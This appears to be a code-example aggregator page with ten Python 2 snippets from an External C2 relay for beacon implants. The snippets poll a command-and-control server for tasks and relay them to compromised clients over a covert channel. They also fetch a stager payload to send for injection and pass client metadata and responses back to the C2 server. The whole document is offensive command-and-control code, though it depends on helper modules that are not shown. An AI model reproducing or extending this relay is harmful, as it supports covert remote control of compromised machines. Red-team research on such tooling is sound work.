Пример #1
0
def checkForResponse(beaconId):
    """
	Check the covert channel for a response from the client.

	Args:
		beaconId (str) - Identifier to determine which beacon we're getting
						 a response from
	"""

    recvdResponse = commonUtils.retrieveData(beaconId)
    if config.debug:
        if len(recvdResponse) > 1:
            print(
                commonUtils.color("Recieved %d bytes from client",
                                  status=False,
                                  yellow=True)) % (len(recvdResponse))
        else:
            print(
                commonUtils.color("Recieved empty response from client",
                                  status=False,
                                  yellow=True))
    if len(recvdResponse) > 1:
        if config.verbose:
            print(
                commonUtils.color("Recieved new task from C2 server!") +
                "(%s bytes)") % (str(len(recvdResponse)))
        if config.debug:
            print(
                commonUtils.color("RESPONSE: ", status=False, yellow=True) +
                "%s") % (recvdResponse)

    return recvdResponse
Пример #2
0
def checkForResponse():
    """
	Check the covert channel for a response from the client
	"""

    recvdResponse = commonUtils.retrieveData()
    if config.debug:
        if len(recvdResponse) > 1:
            print(
                commonUtils.color("Recieved %d bytes from client",
                                  status=False,
                                  yellow=True)) % (len(recvdResponse))
        else:
            print(
                commonUtils.color("Recieved empty response from client",
                                  status=False,
                                  yellow=True))
    if len(recvdResponse) > 1:
        if config.verbose:
            print(
                commonUtils.color("Recieved new task from C2 server!") +
                "(%s bytes)") % (str(len(recvdResponse)))
        if config.debug:
            print(
                commonUtils.color("RESPONSE: ", status=False, yellow=True) +
                "%s") % (recvdResponse)

    return recvdResponse
Пример #3
0
def createConnection(beaconId):
    """
	Function responsible for configuring the initial stager
	for an incoming connection. Will return the socket connection
	responsible for issuing tasks.

	Returns:
		socket connection to the Teamserver
	"""
    # Start with logic to setup the connection to the external_c2 server
    sock = commonUtils.createSocket()

    # TODO: Add logic that will check and recieve a confirmation from the client that it is ready to recieve and inject the stager
    # Poll covert channel for 'READY2INJECT' message from client
    #       * We can make the client send out 'READY2INJECT' msg from client periodically when it doesn't have a running beacon so that we don't miss it
    # if args.verbose:
    #       print commonUtils.color("Client ready to recieve stager")

    # #####################

    # Prep the transport module
    prep_trans = transport.prepTransport()

    # Let's get the stager from the c2 server
    stager_status = configureStage.loadStager(sock, beaconId)

    if stager_status != 0:
        # Something went horribly wrong
        print commonUtils.color(
            "Something went terribly wrong while configuring the stager!",
            status=False,
            warning=True)
        sys.exit(1)
    return sock
Пример #4
0
def relayTask(task, beaconId):
    # Relays a new task from the c2 server to the client
    # 'task' will be encoded in the 'commonUtils.sendData()' function.
    if config.debug:
        print commonUtils.color("Relaying task to client",
                                status=False,
                                yellow=True)
    commonUtils.sendData(task, beaconId)
Пример #5
0
def relayResponse(sock, response):
    # Relays the response from the client to the c2 server
    # 'response', will have already been decoded from 'establishedSession.checkForResponse()'
    # -- Why is this it's own function? Because I have no idea what I'm doing
    if config.debug:
        print commonUtils.color("Relaying response to c2 server",
                                status=False,
                                yellow=True)
    commonUtils.sendFrameToC2(sock, response)
Пример #6
0
def taskLoop(sock, beaconId):
    while True:
        if config.verbose:
            print commonUtils.color(
                "Checking the c2 server for {} tasks...".format(beaconId))

        newTask = establishedSession.checkForTasks(sock)

        # once we have a new task (even an empty one), lets relay that to our client
        if config.debug:
            print commonUtils.color(
                "Encoding and relaying task to {}".format(beaconId),
                status=False,
                yellow=True)
        establishedSession.relayTask(newTask, beaconId)
        # Attempt to retrieve a response from the client
        if config.verbose:
            print commonUtils.color(
                "Checking {} for a response...".format(beaconId))

        b_responses = establishedSession.checkForResponse(beaconId)
        # b_response = establishedSession.checkForResponse(beaconId)
        for b_response in b_responses:
            # Let's relay this response to the c2 server
            establishedSession.relayResponse(sock, b_response)
            sleep(
                config.C2_BLOCK_TIME / 100
            )  # python sleep is in seconds, C2_BLOCK_TIME in milliseconds
Пример #7
0
def checkForTasks(sock):
    """
	Poll the c2 server for new tasks
	"""

    chunk = commonUtils.recvFrameFromC2(sock)
    if chunk < 0:
        if config.debug:
            print(
                commonUtils.color("Attempted to read %d bytes from c2 server",
                                  status=False,
                                  yellow=True)) % (len(chunk))
        # break # This should probably just return None or something
        return None
    else:
        if config.debug:
            if len(chunk) > 1:
                print(
                    commonUtils.color("Recieved %d bytes from c2 server",
                                      status=False,
                                      yellow=True)) % (len(chunk))
            else:
                print(
                    commonUtils.color("Recieved empty task from c2 server",
                                      status=False,
                                      yellow=True))
    if len(chunk) > 1:
        if config.verbose:
            print(
                commonUtils.color("Recieved new task from C2 server!") +
                "(%s bytes)") % (str(len(chunk)))
        if config.debug:
            print(
                commonUtils.color("NEW TASK: ", status=False, yellow=True) +
                "%s") % (chunk)
    return chunk
Пример #8
0
def configureOptions(sock, arch, pipename, block):
    # This whole function should eventually be refactored into an elaborate forloop so that we can
    #   support additional beacon options down the road
    # send the options
    if config.verbose:
        print commonUtils.color("Configuring stager options")

    beacon_arch = "arch=" + str(arch)
    if config.debug:
        print commonUtils.color(beacon_arch, status=False, yellow=True)
    commonUtils.sendFrameToC2(sock, beacon_arch)

    beacon_pipename = "pipename=" + str(pipename)
    if config.debug:
        print commonUtils.color(beacon_pipename, status=False, yellow=True)
    commonUtils.sendFrameToC2(sock, beacon_pipename)

    beacon_block = "block=" + str(block)
    if config.debug:
        print commonUtils.color(beacon_block, status=False, yellow=True)
    commonUtils.sendFrameToC2(sock, beacon_block)
Пример #9
0
def loadStager(sock, beaconId):
    # Send options to the external_c2 server
    configureOptions(sock, config.C2_ARCH, config.C2_PIPE_NAME,
                     config.C2_BLOCK_TIME)

    if config.debug:
        print commonUtils.color("stager configured, sending 'go'",
                                status=False,
                                yellow=True)

    # Request stager
    stager_payload = requestStager(sock)

    if config.debug:
        print(commonUtils.color("STAGER: ", status=False, yellow=True) +
              "%s") % (stager_payload)

    # Prep stager payload
    if config.verbose:
        print commonUtils.color("Encoding stager payload")
        # Trick, this is actually done during sendData()

    # Send stager to the client
    if config.verbose:
        print commonUtils.color("Sending stager to client")
    commonUtils.sendData(stager_payload, beaconId)

    # Rrieve the metadata we need to relay back to the server
    if config.verbose:
        print commonUtils.color("Awaiting metadata response from client")
    # Only one response, so this should be the first element of the array
    metadata = commonUtils.retrieveData(beaconId)[0]

    # Send the metadata frame to the external_c2 server
    if config.verbose:
        print commonUtils.color("Sending metadata to c2 server")
    if config.debug:
        print(
            commonUtils.color("METADATA: ", status=False, yellow=True) +
            "%s") % (metadata)
    commonUtils.sendFrameToC2(sock, metadata)

    # Pretend we have error handling, return 0 if everything is Gucci

    return 0
Пример #10
0
def main():
    # Argparse for certain options
    parser = argparse.ArgumentParser()
    parser.add_argument('-v',
                        action='store_true',
                        help='Enable verbose output',
                        dest='verbose',
                        default=False)
    parser.add_argument('-d',
                        action='store_true',
                        help='Enable debugging output',
                        dest='debug',
                        default=False)

    # Call arguments with args.$ARGNAME
    args = parser.parse_args()

    # Assign the arguments to config.$ARGNAME
    if not config.verbose:
        config.verbose = args.verbose
    if not config.debug:
        config.debug = args.debug

    # Enable verbose output if debug is enabled
    if config.debug:
        config.verbose = True

    # Import our defined encoder, transport and manager modules
    if config.verbose:
        print(commonUtils.color("Importing encoder module: ") +
              "%s") % (config.ENCODER_MODULE)
    importModule(config.ENCODER_MODULE, "encoder")
    commonUtils.importModule(config.ENCODER_MODULE, "encoder")
    if config.verbose:
        print(commonUtils.color("Importing transport module: ") +
              "%s") % (config.TRANSPORT_MODULE)
    importModule(config.TRANSPORT_MODULE, "transport")
    commonUtils.importModule(config.TRANSPORT_MODULE, "transport")

    #####################################
    # Need to set up the new incoming   #
    # connection logic here for sorting #
    #####################################
    beacons = {}
    try:
        while True:
            # Some logic in determining if new agents are available
            newBeacons = transport.fetchNewBeacons()
            # newBeacons should be a list of uuid4() strings
            if newBeacons:
                for beaconId in newBeacons:
                    # Create and open the connection here
                    sock = createConnection(beaconId)
                    # Tell the socket to begin its task looping
                    t = Thread(target=taskLoop, args=(sock, beaconId))
                    t.daemon = True
                    print "[+] Established new session {}. Staring task loop.".format(
                        beaconId)
                    t.start()
                    # Save conneciton information for a beacon
                    beacons[beaconId] = sock
            sleep(config.IDLE_TIME)
    except KeyboardInterrupt:
        if config.debug:
            print commonUtils.color(
                "\nClosing the socket connections to the c2 server")
        for beaconId, socketConnection in beacons.items():
            commonUtils.killSocket(socketConnection)
            print commonUtils.color("\nKilling Beacon {}...".format(beaconId),
                                    warning=True)
        sys.exit(0)